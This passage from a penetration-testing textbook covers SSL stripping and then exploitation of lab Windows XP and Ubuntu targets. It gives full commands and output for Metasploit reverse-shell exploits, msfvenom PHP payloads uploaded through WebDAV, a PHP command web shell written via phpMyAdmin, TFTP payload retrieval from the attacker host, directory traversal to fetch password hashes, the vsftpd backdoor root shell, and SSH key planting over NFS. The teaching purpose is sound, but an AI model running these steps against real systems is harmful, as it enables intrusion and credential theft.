that don’t use HTTPS. Though some users did click through and visit the
sites, a more sophisticated attack would allow us to capture information in
plaintext without triggering those obvious warnings that the SSL connection is compromised.
With SSL stripping, we man-in-the-middle the HTTP connection before
it is redirected to SSL and add SSL functionality before sending the packets on to the web server. When the web server replies, SSL stripping again
intercepts the traffic and removes the HTTPS tags before sending the packets to the client. This technique is illustrated in Figure 7-14.
www.facebook.com
HTTPS response from
www.facebook.com
HTTP request for
www.facebook.com
Ubuntu target
HTTPS request for
www.facebook.com
Internet
HTTP response from
www.facebook.com
Kali
Figure 7-14: SSL stripping attack
Moxie Marlinspike, the author of SSLstrip, called certificate warnings
negative feedback, as opposed to positive feedback that a session is valid, such as
seeing HTTPS in the browser URL bar. Avoiding this negative feedback is
Capturing Traffic 173
much more important to an attack’s success than including positive feedback because users are naturally less likely to notice that a URL says HTTP
instead of HTTPS than they are a giant certificate warning they have to
actively click through. SSL stripping avoids the certificate warning by again
man-in-the-middling the connection.
Users typically encounter HTTPS either through clicking links or
through HTTP 302 redirects. Most users don’t enter https://www.facebook.com
or even http://www.facebook.com into their browsers; they type www.facebook​
.com or sometimes just facebook.com. And that’s why this attack is possible.
SSLstrip adds the HTTPS itself and thus the SSL connection between
Facebook and Kali is valid. SSLstrip just turns the connection back to
HTTP to send to the original requester. There is no certificate warning.
Using SSLstrip
The tool SSLstrip implements SSL stripping. Before we start it, we need to set
an Iptables rule to pass traffic that is headed to port 80 through SSLstrip.
We’ll run SSLstrip on port 8080, as shown next, then restart Arpspoof and
spoof the default gateway. (For instructions, jump back to “Using ARP
Cache Poisoning to Impersonate the Default Gateway” on page 165.)
[email protected]:# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
Now start SSLstrip, and tell it to listen on port 8080 with the -l flag.
[email protected]:# sslstrip -l 8080
Next, browse to a site that uses SSL (try any Internet site that requires
login credentials) from your Linux target, like the Twitter login page shown
in Figure 7-15. As you can see, HTTP has replaced HTTPS in the address bar.
When you log in, your credentials will be reported in plaintext by SSLstrip.
(No, my Twitter password isn’t really “password.”)
This attack is more sophisticated than a straight SSL man-in-the-middle
attack. We are able to avoid the certificate warning because the server is
completing an SSL connection with SSLstrip rather than the browser.
2015-12-28 19:16:35,323 SECURE POST Data (twitter.com):
session%5Busername_or_email%5D=georgiaweidman&session%5Bpassword%5D=password&s
cribe_log=&redirect_after_login=%2F&authenticity_token=a26a0faf67c2e11e6738053
c81beb4b8ffa45c6a
As you can see, SSLstrip reports the entered credentials (georgiaweidman:
password) in plaintext.
174 Chapter 7
Figure 7-15: Twitter login page with SSLstrip running
Summary
In this chapter we’ve fiddled with network traffic to create some interesting
results. Using various tools and techniques, we were able to intercept traffic
that we had no business seeing in a switched network. We used ARP cache
poisoning to redirect traffic in a switched network to our Kali system and
DNS cache poisoning to redirect users to our web servers. We used Ettercap
to automate an SSL man-in-the-middle attack and (assuming that the user
clicks through a warning) capture sensitive information in plaintext. Finally,
we made the attack even more sophisticated by avoiding an invalid certificate warning using SSL stripping.
Capturing traffic from the local network can glean useful information
for our pentest. For example, we were able to capture valid credentials for
the FTP server for use in exploitation.
Speaking of exploitation, let’s get started.
Capturing Traffic 175
Part III
At tacks
8
E x ploitat ion
After all that preparatory work we finally get to the
fun stuff: exploitation. In the exploitation phase of
the pentest, we run exploits against the vulnerabilities
we have discovered to gain access to target systems.
Some vulnerabilities, such as the use of default passwords, are so easy to exploit, it hardly feels like exploitation at all. Others are much more complicated.
In this chapter we’ll look at exploiting the vulnerabilities we identified in
Chapter 6 to gain a foothold in target machines. We’ll return to our friend
MS08-067 from Chapter 4, now that we have more background about the
vulnerability. We’ll also exploit an issue in the SLMail POP3 server with a
Metasploit module. In addition, we’ll piggyback on a previous compromise
and bypass login on the FTP server on our Linux target. We will exploit
a vulnerability in the TikiWiki install on the Linux target and a couple of
default password issues on an XAMPP install on the Windows target. We’ll
also take advantage of a readable and writable NFS share to take control of
the SSH keys and log in as a valid user without knowing the password. We
will interact with a fragile web server on a nonstandard port to take advantage of a directory traversal issue and download system files. For a refresher
on how we discovered each of the issues we’ll use for exploitation, refer
back to Chapter 6.
Revisiting MS08-067
We know from Chapter 6 that the SMB server on our Windows XP target is
missing the MS08-067 patch. The MS08-067 vulnerability has a good reputation for successful exploits, and the corresponding Metasploit module is
ranked as great. We used this vulnerability as an example in Chapter 4, but
the knowledge we gained in the previous chapters gives us solid evidence
that this exploit will result in a compromise.
When we viewed the options for the windows/smb/ms08_067_netapi module in Chapter 4, we saw the usual RHOST and RPORT as well as SMBPIPE, which
allows us to set the pipe that our exploit will use. The default is the browser
pipe, though we can also use SRVSRC. In Chapter 4, we ran the Metasploit
module scanner/smb/pipe_auditor to enumerate the listening SMB pipes
and found that only the browser pipe is available. Thus, we know that the
default SMBPIPE option, BROWSER, is the only one that will work.
Metasploit Payloads
As we discussed in Chapter 4, payloads allow us to tell an exploited system
to do things on our behalf. Though many payloads are either bind shells,
which listen on a local port on the target machine, or reverse shells, which
call back to a listener on the attack system, other payloads perform specific
functions. For example, if you run the payload osx/armle/vibrate on an iPhone,
the phone will vibrate. There are also payloads to add a new user account:
linux/x86/adduser for Linux systems and windows/adduser for Windows.
We can download and execute a file with windows/download_exec_https or
execute a command with windows/exec. We can even use the speech API to
make the target say “Pwned” with windows/speak_pwned.
Recall that we can see all the payloads available in Metasploit by entering show payloads at the root of Msfconsole. Enter this command after you
tell Metasploit to use the windows/smb/ms08_067_netapi module so you can
see only payloads that are compatible with the MS08-067 exploit.
In Chapter 4, we used windows/shell_reverse_tcp, but looking through the
list, we also see a payload called windows/shell/reverse_tcp.
windows/shell/reverse_tcp
windows/shell_reverse_tcp
180 Chapter 8
normal
normal
Windows Command Shell, Reverse TCP Stager
Windows Command Shell, Reverse TCP Inline
Both payloads create Windows command shells using a reverse connection (discussed in Chapter 4). The exploited machine will connect back to
our Kali machine at the IP address and port specified in the payload options.
Any of the payloads listed for the windows/smb/ms08_067_netapi will work just
fine, but in different pentesting scenarios, you may have to get creative.
Staged Payloads
The windows/shell/reverse_tcp payload is staged. If we use it with the windows/
smb/ms08_067_netapi exploit, the string sent to the SMB server to take
control of the target machine does not contain all of the instructions to
create the reverse shell. Instead, it contains a stager payload with just enough
information to connect back to the attack machine and ask Metasploit for
instructions on what to do next. When we launch the exploit, Metasploit
sets up a handler for the windows/shell/reverse_tcp payload to catch the incoming reverse connection and serve up the rest of the payload—in this case
a reverse shell—then the completed payload is executed, and Metasploit’s
handler catches the reverse shell. The amount of memory space available for
a payload may be limited, and some advanced Metasploit payloads can take
up a lot of space. Staged payloads allow us to use complex payloads without
requiring a lot of space in memory.
Inline Payloads
The windows/shell_reverse_tcp payload is an inline, or single, payload. Its
exploit string contains all the code necessary to push a reverse shell back
to the attacker machine. Though inline payloads take up more space
than staged payloads, they are more stable and consistent because all
the instructions are included in the original exploit string. You can distinguish inline and staged payloads by the syntax of their module name.
For example, windows/shell/reverse_tcp or windows/meterpreter/bind_tcp are
staged, whereas windows/shell_reverse_tcp is inline.
Meterpreter
Meterpreter is a custom payload written for the Metasploit Project. It is
loaded directly into the memory of an exploited process using a technique
known as reflective dll injection. As such, Meterpreter resides entirely in memory and writes nothing to the disk. It runs inside the memory of the host
process, so it doesn’t need to start a new process that might be noticed by an
intrusion prevention or intrusion detection system (IPS/IDS). Meterpreter
also uses Transport Layer Security (TLS) encryption for communication
between it and Metasploit. You can think of Meterpreter as a kind of shell
and then some. It has additional useful commands that we can use, such as
hashdump, which allows us to gain access to local Windows password hashes.
(We’ll look at many Meterpreter commands when we study post exploitation in Chapter 13.)
Exploitation 181
We saw in Chapter 4 that Metasploit’s default payload for the windows/
smb/ms08_067_netapi is windows/meterpreter/reverse_tcp. Let’s use the windows/
meterpreter/reverse_tcp payload with our MS08-067 exploit this time. Our payload options should be familiar from other reverse payloads we have used
so far. Let’s set our payload and run the exploit, as shown in Listing 8-1.
msf exploit(ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > set LHOST 192.168.20.9
LHOST => 192.168.20.9
msf exploit(ms08_067_netapi) > exploit
[*] Started reverse handler on 192.168.20.9:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Sending Stage to 192.168.20.10...
[*] Meterpreter session 1 opened (192.168.20.9:4444 -> 192.168.20.10:4312) at
2015-01-12 00:11:58 -0500
Listing 8-1: Exploiting MS08-067 with a Meterpreter payload
As the output shows, running this exploit should open a Meterpreter
session that we’ll be able to use for post exploitation.
Exploiting WebDAV Default Credentials
In Chapter 6, we found that the XAMPP installation on our Windows XP
target employs default login credentials for the WebDAV folder used to
upload files to the web server. This issue allows us to upload our own pages
to the server with Cadaver, a command line client for WebDAV, which we
used to verify this vulnerability in Chapter 6. Let’s create a simple test file
to upload:
[email protected]:~# cat test.txt
test
Now use Cadaver with the credentials wampp:xampp to authenticate
with WebDAV.
[email protected]:~# cadaver http://192.168.20.10/webdav
Authentication required for XAMPP with WebDAV on server `192.168.20.10':
Username: wampp
Password:
dav:/webdav/>
Finally, use WebDAV’s put command to upload our test.txt file to the web
server.
182 Chapter 8
dav:/webdav/> put test.txt
Uploading test.txt to `/webdav/test.txt':
Progress: [=============================>] 100.0% of 5 bytes succeeded.
dav:/webdav/>
If you browse to /webdav/test.txt, you should see that we have successfully
uploaded our text file to the website, as shown in Figure 8-1.
Figure 8-1: A file uploaded with WebDAV
Running a Script on the Target Web Server
A text file is not very useful to us; it would be better if we could upload a
script and execute it on the web server, allowing us to run commands on
the underlying system’s Apache web server. If Apache is installed as a system
service, it will have system-level privileges, which we could use to gain maximum control over our target. If not, Apache will run with privileges of the
user who started it. Either way, you should end up with a good deal of control over the underlying system just by dropping a file on the web server.
Let’s start by confirming that our WebDAV user is allowed to upload
scripts to the server. Because we found phpMyAdmin software on this web
server in Chapter 6, we know that the XAMPP software includes PHP. If we
upload and execute a PHP file, we should be able to run commands on the
system using PHP.
dav:/webdav/> put test.php
Uploading test.php to `/webdav/test.php':
Progress: [=============================>] 100.0% of 5 bytes succeeded.
dav:/webdav/>
Note
Some open WebDAV servers allow uploading text files but block script files like .asp or
.php. Lucky for us, that isn’t the case here, and we successfully uploaded test.php.
Uploading a Msfvenom Payload
In addition to uploading any PHP scripts we’ve created to perform tasks on
the target, we can also use Msfvenom to generate a stand-alone Metasploit
payload to upload to the server. We used Msfvenom briefly in Chapter 4,
but to brush up on syntax, you can enter msfvenom -h for help. When you’re
ready, list all the available payloads with the -l option for PHP payloads, as
shown in Listing 8-2.
Exploitation 183
[email protected]:~# msfvenom -l payloads
php/bind_perlu
php/bind_perl_ipv6
php/bind_php
php/bind_php_ipv6
php/download_execv
php/exec
php/meterpreter/bind_tcpw
php/meterpreter/reverse_tcp
php/meterpreter_reverse_tcp
php/reverse_perl
php/reverse_php
Listen for a connection and spawn a command
shell via perl (persistent)
Listen for a connection and spawn a command
shell via perl (persistent) over IPv6
Listen for a connection and spawn a command
shell via php
Listen for a connection and spawn a command
shell via php (IPv6)
Download an EXE from an HTTP URL and execute it
Execute a single system command
Listen for a connection over IPv6, Run a
meterpreter server in PHP
Reverse PHP connect back stager with checks
for disabled functions, Run a meterpreter
server in PHP
Connect back to attacker and spawn a
Meterpreter server (PHP)
Creates an interactive shell via perl
Reverse PHP connect back shell with checks
for disabled functions
php/shell_findsock
Listing 8-2: Metasploit PHP payloads
Msfvenom gives us a few options: We can download and execute a file on
the system v, create a shell u, or even use Meterpreter w. Any of these payloads will give us control of the system, but let’s use php/meterpreter/reverse_tcp.
After we specify a payload, we can use -o to find out which options we need to
use with it, as shown here.
[email protected]:~# msfvenom -p php/meterpreter/reverse_tcp -o
[*] Options for payload/php/meterpreter/reverse_tcp
--snip-Name
---LHOST
LPORT
Current Setting
--------------4444
Required
-------yes
yes
Description
----------The listen address
The listen port
As you can see we need to set LHOST to tell the payload which IP
address to connect back to, and we can also change the LPORT option.
Because this payload is already in PHP format, we can output it in the
raw format with the -f option after we set our options, and then pipe
the raw PHP code into a file with the .php extension for posting to the
server, as shown here.
[email protected]:~# msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.20.9
LPORT=2323 -f raw > meterpreter.php
184 Chapter 8
Now we upload the file using WebDAV.
dav:/webdav/> put meterpreter.php
Uploading meterpreter.php to `/webdav/meterpreter.php':
Progress: [=============================>] 100.0% of 1317 bytes succeeded.
As in Chapter 4, we need to set up a handler in Msfconsole to catch the
payload before we execute the script (see Listing 8-3).
msf > use multi/handler
msf exploit(handler) > set payload php/meterpreter/reverse_tcpu
payload => php/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.20.9v
lhost => 192.168.20.9
msf exploit(handler) > set LPORT 2323w
lport => 2323
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.20.9:2323
[*] Starting the payload handler...
Listing 8-3: Setting up the payload handler
Use multi/handler in Msfconsole, set the payload to php/meterpreter/
reverse_tcp u, and set LHOST v and LPORT w appropriately to match the
generated payload. If this process is unfamiliar to you, jump back to the
“Creating Standalone Payloads with Msfvenom” on page 103.
Running the uploaded payload by opening it in a web browser should
provide us with a Meterpreter session that we can see when we return to
Msfconsole, as shown here.
[*] Sending stage (39217 bytes) to 192.168.20.10
[*] Meterpreter session 2 opened (192.168.20.9:2323 -> 192.168.20.10:1301) at
2015-01-07 17:27:44 -0500
meterpreter >
We can use the Meterpreter command getuid to see what privileges our
session has on the exploited target. Generally speaking, we get the privileges of the software we exploited.
meterpreter > getuid
BOOKXP\SYSTEM
We now have system privileges, which will allow us to take complete
control of the Windows system. (It’s generally a bad idea to allow web server
software to have system privileges for just this reason. Because XAMPP’s
Apache server is running as a system service, we have full access to the
underlying system.)
Now let’s look at another issue with our XAMPP install.
Exploitation 185
Exploiting Open phpMyAdmin
The same target XAMPP platform exploited in the previous section also
includes an open phpMyAdmin install, which we can exploit to run commands on the database server. Like Apache, our MySQL server will have
either system privileges (if it is installed as a Windows service) or the privileges of the user that started the MySQL process. By accessing the MySQL
database, we can perform an attack similar to our WebDAV attack and
upload scripts to the web server using MySQL queries.
To explore this attack, first navigate to http://192.168.20.10/phpmyadmin,
and click the SQL tab at the top. We’ll use MySQL to write a script to the
web server that we’ll use to get a remote shell. We’ll use a SQL SELECT
statement to output a PHP script to a file on the web server, which will
allow us to remotely control the target system. We’ll use the script <?php
system($_GET['cmd']); ?> to grab the cmd parameter from the URL and execute it using the system() command.
The default install location for XAMPP’s Apache on Windows is
C:\xampp\htodcs\ . The syntax for our command is: SELECT "<script string>"
into outfile "path_to_file_on_web_server". Our completed command looks
like this:
SELECT "<?php system($_GET['cmd']); ?>" into outfile "C:\\xampp\\htdocs\\shell.php"
Note
We use double backslashes to escape, so we don’t end up with the file
C:xampphtdocsshell.php, which we will not be able to access from
the web server.
Figure 8-2 shows the command entered into the SQL console in
phpMyAdmin.
Figure 8-2: Executing SQL commands
186 Chapter 8
Run the completed query in phpMyAdmin, and then browse to the
newly created file, http://192.168.20.10/shell.php. The script should throw the
error Warning: system() [function.system]: Cannot execute a blank command in C:\
xampp\htdocs\shell.php on line 1, because we did not supply an cmd parameter.
(Recall from earlier that shell.php grabs the cmd parameter from the URL
and runs it using the PHP system() command.) We need to supply a cmd
parameter that tells the script the command we’d like to run on the target
system. For example, we can ask the Windows XP target to tell us its networking information using ipconfig as the cmd parameter, like so:
http://192.168.20.10/shell.php?cmd=ipconfig
The result is shown in Figure 8-3.
Figure 8-3: Code execution
Downloading a File with TFTP
The previous steps give us a shell with system privileges, which we “upgrade”
by uploading a more complicated PHP script. But rather than creating a
really long and complicated SQL SELECT query, we can host a file on our
Kali machine and then use our PHP shell to pull it down to the web server.
On Linux, we could use wget to download files from the command line.
This functionality is painfully absent on Windows, but we can use TFTP on
Windows XP. Let’s use it to upload meterpreter.php from the previous section.
Note
TFTP is not the only way we can transfer files with noninteractive command line
access. In fact, some newer Windows systems do not have TFTP enabled by default.
You can also have FTP read settings from a file with the -s option or use a scripting language such as Visual Basic or Powershell on the latest Windows operating
systems.
We can use the Atftpd TFTP server to host files on our Kali system.
Start Atftpd in daemon mode, serving files from the location of your
meterpreter.php script.
[email protected]:~# atftpd --daemon --bind-address 192.168.20.9 /tmp
Set the cmd parameter in the shell.php script as follows:
http://192.168.20.10/shell.php?cmd=tftp 192.168.20.9 get meterpreter.php
C:\\xampp\\htdocs\\meterpreter.php
Exploitation 187
This command should pull down meterpreter.php to the target’s Apache
directory using TFTP, as shown in Figure 8-4.
Figure 8-4: Transferring files with TFTP
Now we can browse to http://192.168.20.10/meterpreter.php to open a
Meterpreter shell. (Be sure to restart the handler to catch the Meterpreter
connection before executing the script.) And as you can see, though we
used an attack different from uploading a file through WebDAV, we ended
up in the same place: We have a Meterpreter shell from the web server
using its access to the MySQL server to upload files.
Now let’s look at attacking the other web server on the Windows XP
system.
note
This is not the only way we could exploit database access. For example, if you find a
Microsoft MS SQL database instead, you may be able to use the xp_cmdshell() function, which acts as a built-in system command shell. For security reasons, it is disabled
on newer versions of MS SQL, but a user with administrative privileges should be
able to reenable it, giving you shell access without having to upload anything.
Downloading Sensitive Files
Recall from Chapter 6 that our Zervit server on port 3232 has a directory
traversal issue that will allow us to download files from the remote system
without authentication. We can download the Windows boot.ini configuration file (and other files, too) through the browser with the following URL:
http://192.168.20.10:3232/index.html?../../../../../../boot.ini
We’ll use this ability to pull files containing password hashes (encrypted
passwords) for Windows, as well as installed services.
Downloading a Configuration File
The default install location for XAMPP is C:\xampp, so we can expect the
directory for FileZilla FTP server to be at C:\xampp\FileZillaFtp. A little
online research on FileZilla tells us that it stores MD5 hashes of passwords
in the FileZilla Server.xml configuration file. Depending on the strength of
the FTP passwords stored in this file, we may be able to use the MD5 hash
value to recover users’ plaintext FTP passwords.
We captured the password for user georgia in Chapter 7, but our target
may contain additional accounts. Let’s use the Zervit server to download
the FileZilla configuration file from http://192.168.20.10:3232/index.html?
../../../../../../xampp/FileZillaFtp/FileZilla%20Server.xml. (Note that %20 is
188 Chapter 8
hex encoding for a space.) You can see some of the contents of the file in
Listing 8-4.
<User Name="georgia">
<Option Name="Pass">5f4dcc3b5aa765d61d8327deb882cf99</Option>
<Option Name="Group"/>
<Option Name="Bypass server userlimit">0</Option>
<Option Name="User Limit">0</Option>
<Option Name="IP Limit">0</Option>
--snip-Listing 8-4: FileZilla FTP configuration file
As you can see, the configuration file contains two user accounts (in
the User Name fields): georgia and newuser. Now all we have to do is figure
out their passwords based on the stored hashes.
We’ll look at turning password hashes back into plaintext passwords
(including MD5 hashes) in the next chapter.
Downloading the Windows SAM
Speaking of passwords, in addition to the FTP user passwords, we can try
pulling down the Windows Security Accounts Manager (SAM) file that stores
Windows hashes. The SAM file is obfuscated because the Windows Syskey
utility encrypts the password hashes inside the SAM file with 128-bit Rivest
Cipher 4 (RC4) to provide additional security. Even if an attacker or pentester is able to gain access to the SAM file, there is a bit more work to do to
recover the password hashes. We need a key to reverse the RC4 encryption
on the hashes. The encryption key for the Syskey utility, called the bootkey,
is stored inside of the Windows SYSTEM file. We need to download both
the SAM and SYSTEM files to recover the hashes and attempt to reverse
them into plaintext passwords. In Windows XP, these files are located at
C:\Windows\System32\config, so let’s try downloading the SAM file from the
following URL:
http://192.168.20.10:3232/index.html?../../../../../../WINDOWS/system32/config/sam
When we try to use Zervit to download this file, we get a “file not
found” error. It looks like our Zervit server doesn’t have access to this file.
Luckily, Windows XP backs up both the SAM and SYSTEM files to the
C:\Windows\repair directory, and if we try to pull down the files from there,
Zervit is able to serve them. These URLs should do the trick:
http://192.168.20.10:3232/index.html?../../../../../../WINDOWS/repair/system
http://192.168.20.10:3232/index.html?../../../../../../WINDOWS/repair/sam
Note
Like our MD5 hashes, we’ll use the Windows SAM file in the next chapter when we
cover password attacks in depth.
Exploitation 189
Exploiting a Buffer Overflow in Third-Party Software
In Chapter 6, we never did find out for sure if the SLMail server on our
Windows XP target is vulnerable to the POP3 issue CVE-2003-0264. The
version number reported by SLMail (5.5) appears to line up with the vulnerability, so let’s try exploiting it. The corresponding Metasploit module,
windows/pop3/seattlelab_pass, has a rank of great. (A ranking that high is
unlikely to crash the service if it fails.)
Windows/pop3/seattlelab_pass attempts to exploit a buffer overflow in the
POP3 server. Using it is similar to setting up the MS08-067 exploit, as shown
in Listing 8-5.
msf > use windows/pop3/seattlelab_pass
msf exploit(seattlelab_pass) > show payloads
Compatible Payloads
===================
Name
---generic/custom
generic/debug_trap
--snip--
Disclosure Date
---------------
Rank
---normal
normal
Description
----------Custom Payload
Generic x86 Debug Trap
msf exploit(seattlelab_pass) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(seattlelab_pass) > show options
Module options (exploit/windows/pop3/seattlelab_pass):
Name
---RHOST
RPORT
Current Setting
--------------192.168.20.10
110
Required
-------yes
yes
Description
----------The target address
The target port
Payload options (windows/meterpreter/reverse_tcp):
Name
---EXITFUNC
LHOST
LPORT
Current Setting
--------------thread
4444
Required
-------yes
yes
yes
Description
----------Exit technique: seh, thread, process, none
The listen address
The listen port
Exploit target:
Id
-0
Name
---Windows NT/2000/XP/2003 (SLMail 5.5)
msf exploit(seattlelab_pass) > set RHOST 192.168.20.10
RHOST => 192.168.20.10
190 Chapter 8
msf exploit(seattlelab_pass) > set LHOST 192.168.20.9
LHOST => 192.168.20.9
msf exploit(seattlelab_pass) > exploit
[*] Started reverse handler on 192.168.20.9:4444
[*] Trying Windows NT/2000/XP/2003 (SLMail 5.5) using jmp esp at 5f4a358f
[*] Sending stage (752128 bytes) to 192.168.20.10
[*] Meterpreter session 4 opened (192.168.20.9:4444 -> 192.168.20.10:1566) at 2015-01-07
19:57:22 -0500
meterpreter >
Listing 8-5: Exploiting SLMail 5.5 POP3 with Metasploit
Running this exploit should give us another Meterpreter session on
the Windows XP target—yet another way to take control of the system.
(In Chapter 13, which covers post exploitation, we’ll see what to do once
we have a Meterpreter session on a target.)
Exploiting Third-Party Web Applications
In Chapter 6, we used the Nikto web scanner against our Linux target and
discovered an installation of the TikiWiki CMS software version 1.9.8 with
a code execution vulnerability in the script graph_formula.php. A search for
TikiWiki in Metasploit returns several modules, as shown in Listing 8-6.
msf
exploit(seattlelab_pass) > search tikiwiki
Matching Modules
================
Name
Disclosure Date
Rank
Description
--------------------------------snip-uexploit/unix/webapp/tikiwiki_graph_formula_exec 2007-10-10 00:00:00 UTC excellent TikiWiki graph_
formula Remote
PHP Code
Execution
exploit/unix/webapp/tikiwiki_jhot_exec
2006-09-02 00:00:00 UTC excellent TikiWiki jhot
Remote Command
Execution
--snip-msf
exploit(seattlelab_pass) > info unix/webapp/tikiwiki_graph_formula_exec
Name: TikiWiki tiki-graph_formula Remote PHP Code Execution
Module: exploit/unix/webapp/tikiwiki_graph_formula_exec
--snip-TikiWiki (<= 1.9.8) contains a flaw that may allow a remote attacker
to execute arbitrary PHP code. The issue is due to
'tiki-graph_formula.php' script not properly sanitizing user input
supplied to create_function(), which may allow a remote attacker to
execute arbitrary PHP code resulting in a loss of integrity.
Exploitation 191
References:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2007-5423
http://www.osvdb.org/40478v
http://www.securityfocus.com/bid/26006
Listing 8-6: TikiWiki exploit information
Based on the module names, unix/webapp/tikiwiki_graph_formula_exec u
looks like the one we need because it has graph_formula in its name. Our
assumption is confirmed when we run info on the module. The OSVDB
number v listed in the references for unix/webapp/tikiwiki_graph_formula_
exec matches our Nikto output from Chapter 6.
The options for this module are different from our previous exploit
examples, as shown in Listing 8-7.
exploit(seattlelab_pass) > use unix/webapp/tikiwiki_graph_formula_exec
exploit(tikiwiki_graph_formula_exec) > show options
msf
msf
Module options (exploit/unix/webapp/tikiwiki_graph_formula_exec):
Name
---Proxies
RHOST
RPORT
URI
VHOST
Current Setting
---------------
80
/tikiwiki
Required
-------no
yes
yes
yes
no
Description
----------Use a proxy chainu
The target address
The target port
TikiWiki directory pathv
HTTP server virtual hostw
Exploit target:
Id
-0
Name
---Automatic
msf exploit(tikiwiki_graph_formula_exec) > set RHOST 192.168.20.11
RHOST => 192.168.20.11
Listing 8-7: Using the TikiWiki exploit
We could set a proxy chain u and/or a virtual host w for the TikiWiki
server, but we don’t need to here. We can leave the URI set to the default
location /tikiwiki v.
This exploit involves PHP command execution, so naturally, our
payloads are PHP based. Using the show payloads command (Listing 8-8)
reveals that we can use PHP-based Meterpreter u as we did in our XAMPP
exploit. We will also need to set our LHOST option v again.
192 Chapter 8
msf
exploit(tikiwiki_graph_formula_exec) > set payload php/meterpreter/reverse_tcpu
payload => php/meterpreter/reverse_tcp
msf exploit(tikiwiki_graph_formula_exec) > set LHOST 192.168.20.9v
LHOST => 192.168.20.110
msf exploit(tikiwiki_graph_formula_exec) > exploit
[*]
[*]
[*]
[*]
[*]
Started reverse handler on 192.168.20.9:4444
Attempting to obtain database credentials...
The server returned
: 200 OK
Server version
: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.6 with Suhosin-Patch
TikiWiki database informations :
db_tiki
dbversion
host_tiki
user_tiki
pass_tiki
dbs_tiki
:
:
:
:
:
:
mysql
1.9
localhost
tikiw
tikipassword
tikiwiki
[*] Attempting to execute our payload...
[*] Sending stage (39217 bytes) to 192.168.20.11
[*] Meterpreter session 5 opened (192.168.20.9:4444 -> 192.168.20.11:54324) at 2015-01-07
20:41:53 -0500
meterpreter >
Listing 8-8: Exploiting TikiWiki with Metasploit
As you can see, while exploiting the TikiWiki installation, the Meta­
sploit module discovered the credentials w for the TikiWiki database.
Unfortunately, the MySQL server is not listening on the network, so these
credentials cannot be used for additional compromise. Still, we should note
them because they might come in handy during post exploitation.
Exploiting a Compromised Service
We noted in Chapter 6 that the FTP server on the Linux target serves a banner for Very Secure FTP 2.3.4, the version replaced with a binary containing
a backdoor. Because the official code was eventually restored by the authors
of Vsftpd, the only way to find out if the server on our Linux target has the
backdoor code is to test it. (We don’t need to worry about potentially crashing the service if it’s not vulnerable: If this server doesn’t have the backdoor
code, we’ll just get a login error when we use the smiley face.)
Enter any username you like, and add a :) at the end (see Listing 8-9).
Use anything for the password, as well. If the backdoor is present, it will
trigger without valid credentials.
[email protected]:~# ftp 192.168.20.11
Connected to 192.168.20.11.
220 (vsFTPd 2.3.4)
Exploitation 193
Name (192.168.20.11:root): georgia:)
331 Please specify the password.
Password:
Listing 8-9: Triggering the Vsftpd backdoor
We notice that the login hangs after the password. This tells us that the
FTP server is still processing our login attempt, and if we query the FTP
port again, it will continue to respond. Let’s use Netcat to try connecting
to port 6200, where the root shell should spawn if the backdoor is present.
[email protected]:~# nc 192.168.20.11 6200
# whoami
root
Sure enough, we have a root shell. Root privileges give us total control of
our target machine. For example, we can get the system password hashes with
the command cat /etc/shadow. Save the password hash for the user georgia
(georgia:$1$CNp3mty6$|RWcT0/PVYpDKwyaWWkSg/:15640:0:99999:7:::)to a
file called linuxpasswords.txt. We will attempt to turn this hash into a plaintext password in Chapter 9.
Exploiting Open NFS Shares
At this point we know that the Linux target has exported user georgia’s
home folder using NFS and that that share is available to anyone without
the need for credentials. But this might not carry much security risk if we
cannot use the access to read or write sensitive files.
Recall that when we scanned the NFS mount in Chapter 6, we saw the
.ssh directory. This directory could contain the user’s private SSH keys as
well as keys used for authenticating a user over SSH. Let’s see if we can
exploit this share. Start by mounting the NFS share on your Kali system.
[email protected]:~# mkdir /tmp/mount
[email protected]:~# mount -t nfs -o nolock 192.168.20.11:/export/georgia /tmp/mount
This doesn’t look too promising at first glance because georgia has no
documents, pictures, or videos—just some simple buffer overflow examples
we will use in Chapter 16. There doesn’t appear to be any sensitive information here, but before we jump to conclusions, let’s see what’s in the .ssh
directory.
[email protected]:~# cd /tmp/mount/.ssh
[email protected]:/tmp/mount/.ssh# ls
authorized_keys id_rsa id_rsa.pub
We now have access to georgia’s SSH keys. The id_rsa file is her private
key, and id_rsa.pub is her corresponding public key. We can read or even
change these values, and we can write to the SSH file authorized_keys, which
194 Chapter 8
handles a list of SSH public keys that are authorized to log in as the user
georgia. And because we have write privileges, we can add our own key here
that will allow us to bypass password authentication when logging in to the
Ubuntu target as georgia, as shown in Listing 8-10.
[email protected]:~# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
26:c9:b7:94:8e:3e:d5:04:83:48:91:d9:80:ec:3f:39 [email protected]
The key's randomart image is:
+--[ RSA 2048]----+
| . o+B .
|
--snip-+-----------------+
Listing 8-10: Generating a new SSH key pair
First, we generate a key on our Kali machine using ssh-keygen. By
default our new public key is written to /root/.ssh/id_rsa.pub, and our private key is written to /root/.ssh/id_rsa. We want to add our public key to the
authorized_keys file for georgia on Ubuntu.
Next, let’s append the newly generated public key to georgia’s authorized_
keys file. cat out the contents of the /root/.ssh/id_rsa.pub file, and append it to
georgia’s authorized_keys file.
[email protected]:~# cat ~/.ssh/id_rsa.pub >> /tmp/mount/.ssh/authorized_keys
We should now be able to SSH into the Linux target as georgia. Let’s
give it a try.
[email protected]:~# ssh [email protected]
[email protected]:~$
That worked nicely. We can now successfully authenticate with the
Linux target using public key authentication.
We could also have gained access by copying georgia’s key to the Kali
machine. To do so, we first delete the SSH identity we created.
[email protected]:/tmp/mount/.ssh# rm ~/.ssh/id_rsa.pub
[email protected]:/tmp/mount/.ssh# rm ~/.ssh/id_rsa
